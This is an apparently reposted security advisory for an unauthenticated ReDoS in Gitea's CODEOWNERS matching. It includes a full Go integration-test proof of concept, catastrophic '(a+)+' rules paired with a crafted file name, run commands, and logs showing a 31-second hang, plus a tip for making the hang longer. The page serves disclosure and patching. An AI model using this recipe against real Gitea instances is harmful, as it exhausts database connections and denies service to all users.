Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
This issue has been found by a security agent and review by myself.
Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.
Who can trigger it
Any registered user on the instance. The attacker needs only:
- A repository they own (created via normal signup)
- A
CODEOWNERSfile on the default branch containing malicious patterns - A pull request branch containing a file with a crafted name
No elevated permissions, no admin access, no existing repositories required.
How it is triggered
The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.
Impact
Every pull request creation runs this evaluation inside a database transaction. A
hung evaluation holds that transaction open, tying up a database connection for
the entire duration. With 11 rules in the CODEOWNERS file, a single pull request
creation request takes over 30 seconds. An attacker opening multiple pull
requests in parallel can exhaust the database connection pool, making the Gitea
instance unresponsive to all users.
Root cause
The vulnerable regex is here:
PoC
Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.
This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.
tests/integration/pull_redos_test.go
1package integration 2 3// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability 4// triggered via the full pull.NewPullRequest call chain. 5// 6// POST /api/v1/repos/{owner}/{repo}/pulls 7// -> routers/api/v1/repo/pull.go:CreatePullRequest 8// -> pull.NewPullRequest (services/pull/pull.go) 9// -> db.WithTx <- holds DB connection for duration of hang10// -> issues_model.NewPullRequest <- inserts PR into DB11// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS12// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)13//14// The attacker controls both sides of the match:15// - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)16// - PR changed file: "aaa...X" forces O(2^N) backtracking states17 18import (19 "fmt"20 "net/http"21 "net/url"22 "strings"23 "testing"24 "time"25 26 auth_model "gitea.dev/models/auth"27 user_model "gitea.dev/models/user"28 "gitea.dev/models/unittest"29 "gitea.dev/modules/git"30 api "gitea.dev/modules/structs"31 repo_service "gitea.dev/services/repository"32 files_service "gitea.dev/services/repository/files"33 34 "github.com/stretchr/testify/assert"35 "github.com/stretchr/testify/require"36)37 38func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {39 onGiteaRun(t, func(t *testing.T, u *url.URL) {40 user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})41 42 repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{43 Name: "redos-codeowners",44 Readme: "Default",45 AutoInit: true,46 ObjectFormatName: git.Sha1ObjectFormat.Name(),47 DefaultBranch: "main",48 }, true)49 require.NoError(t, err)50 51 // Push malicious CODEOWNERS to the default branch.52 // 11 identical rules × 1 changed file = 11 sequential MatchString calls.53 // Each call takes ~2.8s (25-char late-failing input), totalling ~30s.54 // ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).55 var codeowners strings.Builder56 for range 11 {57 codeowners.WriteString("(a+)+ @user2\n")58 }59 _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{60 OldBranch: repo.DefaultBranch,61 Files: []*files_service.ChangeRepoFile{62 {63 Operation: "create",64 TreePath: "CODEOWNERS",65 ContentReader: strings.NewReader(codeowners.String()),66 },67 },68 })69 require.NoError(t, err)70 71 // Create a PR branch containing a file whose path is a late-failing input72 // for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces73 // backtracking through O(2^N) states (~2.8s per rule at 25 chars).74 maliciousFilename := strings.Repeat("a", 25) + "X"75 _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{76 NewBranch: "attack",77 Files: []*files_service.ChangeRepoFile{78 {79 Operation: "create",80 TreePath: maliciousFilename,81 ContentReader: strings.NewReader("x"),82 },83 },84 })85 require.NoError(t, err)86 87 // Obtain an API token for user2 and submit the PR creation request.88 // This calls pull.NewPullRequest which runs issues_model.NewPullRequest and89 // PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB90 // connection for the duration of the backtracking hang.91 session := loginUser(t, user2.Name)92 token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)93 94 start := time.Now()95 req := NewRequestWithJSON(t, http.MethodPost,96 fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),97 &api.CreatePullRequestOption{98 Title: "ReDoS PoC",99 Head: "attack",100 Base: repo.DefaultBranch,101 },102 ).AddTokenAuth(token)103 MakeRequest(t, req, http.StatusCreated)104 elapsed := time.Since(start)105 106 t.Logf("pull.NewPullRequest completed in %s", elapsed)107 assert.Greater(t, elapsed, 25*time.Second,108 "expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")109 })110}Now run:
1# 1. Build the binary (needed for git hooks during repo creation) 2make build 3 4# 2. Run the test 5go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/When the unit test starts, you should see that it takes 30 seconds with the following output:
1=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42) 2 testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta 3 testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) 4 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive) 5 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) 6 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive) 7 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost) 8 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost) 9 testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)10 testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)11 pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s12+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)13--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)14PASSYou can modify the "11" number in the CODEOWNERS file to manage execution speed directly:
1 for range 11 { 2 codeowners.WriteString("(a+)+ @user2\n") 3 }A higher number of lines will increase the execution time.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…